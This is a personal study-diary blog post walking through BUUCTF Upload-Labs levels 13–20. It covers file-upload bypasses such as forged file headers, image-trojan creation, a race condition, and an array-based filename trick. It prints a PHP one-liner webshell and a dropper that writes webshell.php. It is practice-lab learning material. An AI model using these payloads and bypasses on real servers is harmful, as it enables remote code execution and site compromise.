2021/10/10-学习日记

1.BUUCTF刷题-Upload-Labs-Linux 1

第十三关:图马

这一关的要求是上传图马。

1-1 Pass13-题目

两种方法,改文件头或者是做个图马上传。

方法一:改文件头

题中有说,只检测文件内的前两个字节,所以把前两个字节改为合法的文件头即可。

上传php文件,然后bp抓包,给文件最前面加上"GIF89a",这是gif文件的开头,然后进行重放,就可以将文件上传。

1-2

或是抓包后在十六进制中加入"FF D8"这样的文件头,代表jpg文件,均可成功上传。然后利用作者给出的文件包含漏洞即可。

方法二:制作图马

这种方法比较简单,制作一个图马直接上传即可。

准备一个一句话木马和一个图片,在命令行中输入:"copy 图片.jpg/b + 木马.php/a shell.jpg"即可。

第十四、十五关:直接上传图马即可。

第十六关:图片二次渲染

1-3 Pass16-题目

想要尝试着上传不同类型的文件试错,结果发现会返回空页面,盲猜又是BUUCTF背锅。

第十七关:代码审计

源码:

1-4 Pass17-源码

仔细读一下代码的判断逻辑,会发现文件上传后,服务器先把文件保存,然后再进行判断,最后删除掉不合法的文件。那么,我们就可以利用服务器从保存,到删除的这个时间差来进行攻击。

“竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

首先,对一句话木马进行修改:

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["shell"])?>');?>

作用是当执行时会生成一个包含一句话木马的.php文件。

然后我们使用burp抓包,send to intruder,重复上传木马。

1-5

在burp进行重放的同时,执行使用脚本重复的去访问所上传的文件,直到访问成功。

1-6

此时,目录下就已经创建了webshell.php文件,直接用蚁剑就可以了。

第十八关:同为条件竞争,不过需上传图马。

第十九关:自己保存文件名


1-7 Pass19-题目

直接设置为1.Php就可以了。

第二十关:大的药来了

按照提示,直接看源码。

1-8 Pass20-源码

代码流程:

首先是对上传文件类型的检查,前几关遇到过,直接用burp修改content-type即可绕过。

之后的三目运算符A?B:C的意思是:检查$_POST是否为空,若为空,则$file=$_FILES['upload_file']['name'];否则$file=$_POST['save_name']。

紧接着会判断$file是不是一个数组,不是的话,会以"."为界分为数组,并最小化。

$ext(后缀名)为数组的最后一个元素。然后判断后缀名是否在白名单中。

然后以$file第一个元素和最后一个元素来重命名文件。

解题:

关键在于:

1-9

想要绕过就必须破坏程序原本的流程,那我们直接把上传的$file改为数组的形式。这样的话就会跳过if的运行段直接执行之后的语句。

1-10
1-11

我们这样修改包。

1:绕过type检查。

2:将"1.php"存储到save_name[0]中。

3:将"jpg"存储到save_name[2]中。

这样,$file就是一个名为save_name的数组。在判断白名单时,取数组最后一个元素也就是save_name[2]="jpg",通过。在储存文件名时,为"save_name[0].save_name[1]"(coiunt(save_name)=2),也就是"1.php."。

1-12

这样就可以把.php文件保存到服务器中,接下来直接连接就好。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,922评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,591评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,546评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,467评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,553评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,580评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,588评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,334评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,780评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,092评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,270评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,925评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,573评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,194评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,437评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,154评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2 352